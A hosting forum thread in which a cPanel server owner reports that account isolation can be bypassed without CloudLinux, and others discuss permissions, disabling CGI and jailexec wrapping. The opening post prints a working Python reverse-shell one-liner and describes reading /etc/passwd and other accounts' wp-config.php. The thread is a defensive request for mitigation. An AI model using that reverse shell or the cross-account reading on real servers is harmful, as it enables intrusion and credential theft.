Securing server without CloudLinux question

[lukapaunovic]

What I discovered is SHOCKING. Not really shocking to me because I kinda already knew it was possible.

So here's what's happening... I am no longer... how can I say 'guy with big hosting company' like before you know I had 2000 clients and really had money to pay cloudlinux, kernelcare and all that extra software... BEfore some guy screwed me over and not payed me a single cent for my hosting company which i 'sold' to him.
I ran a new one and my income is not great I maybe have 1-3 clients monthly, i am using server for my personal sites too so it's okay to me.
So i do not have money to pay CloudLinux and all that great additional software I could afford before, i only can pay dedicated server + cpanel license.

So here is what is happening. I knew cPanel on it's own is not well secured so I did everything I could to secure it.
Enabling suphp, openbase_dir protection, mod_security and 1001 more things...

Unfortunately there is one way any site can be hacked and it's all because of perl and python.
Even though php is well protected preventing backconnect, access to /etc/passwd and many more security measurements... If you upload cgi-telnet perl script to any hosting account, then you execute this command

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("some ip",some port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

You can easily establish shell session , and easily read /etc/passwd file through python...

now that hacker knows all cpanel usernames can easily do this

cd /home/username/public_html
And he can read wp-config.php file without a problem and then mess with database....

So guys from cPanel is there solution to this except buying extra software from your partners?
what about jailshell or disabled shell access? it's obviously no help. to this. or openbasedir protection.

hacker can also read using contents of other user public_html files using PHP if he knows username, but he can't access /home/ or /hom/user
Of course I tried setting public_html to 0750 like many years before but something obviously changed something and now that create error to the sites...

Dear fellow hosting providers, friends and cPanel staff is there a solution to this?

 

[sparek-3]

Ultimately, end-users need to learn about file permissions. If you are executing PHP as a per VirtualHost user (php-fpm, suphp, etc) - which most hosts are - then there's no reason for the world readable bit to be set for any wp-config.php. There's no reason for the world readable bit to be set on any php file for that matter.

But, that's asking for a whole lot. Why learn something when you can get someone else to do it for you? ... that's a separate soapbox and not entirely applicable here.

The other solution would be to wrap all CGI scripts through cPanel's jailshell. They already have the /usr/local/cpanel/bin/jailexec system written. It needs a bit of work, but could possibly be made to work.

But I don't think cPanel is too interested in actively developing a CageFS alternative. Doing so would be a main killer for CloudLinux.

 

[lukapaunovic]

Well ... end-users usually LOVE to mess up with permissions of files and folders....

I might set all config files to 0400.

One question.... how the hell is perl script executing when I disabled CGI for every single hosting package. I confirmed it reflected to accounts by clicking on MODIFY USER and cgi box is unchecked.

 

[sparek-3]

I would suggest 0600 permissions. 0400 isn't going to let the owner of the file save any changes.

Wrapping CGI scripts through the jailexec system is probably a solution that needs to happen. cPanel is already allowing the chrooting of PHP through php-fpm. Would seem logical to do this with CGI as well. Or as you are attempting to do, disabling CGI entirely. Most everything is PHP these days. I'm sure there is still some CGI out there, but how much?

I think, though I may be wrong, the CGI box in account creation is referring to the cgi-bin directory. It used to be the case that all CGI scripts had to be put in the cg-bin directory (or the directory designated as ScriptAlias). With the advent of the cgi-script directive, this is no longer necessary. The cgi-bin directory is a relic of a way back era. When you leave that box unchecked, it doesn't create the cgi-bin directory (or ScriptAlias it), but cgi is still open due to the cgi-script directive.

 

[lukapaunovic]

0400 is just fine I just logged into cPanel of my wordpress installation and was able to edit wp-config.php with 0400 permissions on it with no problem.

This is what I did

for i in `ls /var/cpanel/users/`; do find /home/$i/public_html -type f -name 'wp-config.php' -exec sudo -H -u $i chmod 0400 {} \; ; done

Regarding cgi... I just want to prevent execution of perl scripts inside clients public_html

 

[sparek-3]

0400 means the owner of the file has read access. That's it. If you can save changes to a file (and you're not root) that has 0400 permissions, then something is wrong.

You can probably view the file in the file manager to make changes, but you won't be able to save those changes. Unless the file manager is resetting the permissions.

You can probably turn off ExecCGI to prevent cgi scripts from executing outside of the cgi-bin directory. I don't know what all this may break in doing so. But that's kind of trivial because it can be added back into the .htaccess file. You can probably remove mod_cgid if you really don't want any CGI to run. I don't know what this will break, because some of cPanel's redirects (like account suspension and the default page) is controlled by CGI.

Again, the better solution would probably be to wrap all cgi scripts around a jailexec wrapper. That part wouldn't be all that difficult, but you've got to prevent cgi-script from being used in .htaccess files, which would require an edit some where within the Apache source code (I don't know where). That would seem to be the most viable solution. This would also allow administrators to add real cgi-script access to specific VirtualHosts through the Apache userdata include system if it is so required.

However, if cPanel built their own jail chroot for PHP and cgi execution, this would effectively nullify most of the advantages that CloudLinux's CageFS provides. I don't think they are all that willing to do that.

 

[cPanelMichael]

You can easily establish shell session , and easily read /etc/passwd file through python...

now that hacker knows all cpanel usernames can easily do this

cd /home/username/public_html
And he can read wp-config.php file without a problem and then mess with database....

Hello,

Are you able to reproduce this behavior on your server? If so, could you open a support ticket using the link in my signature so we can take a closer look?

Thank you.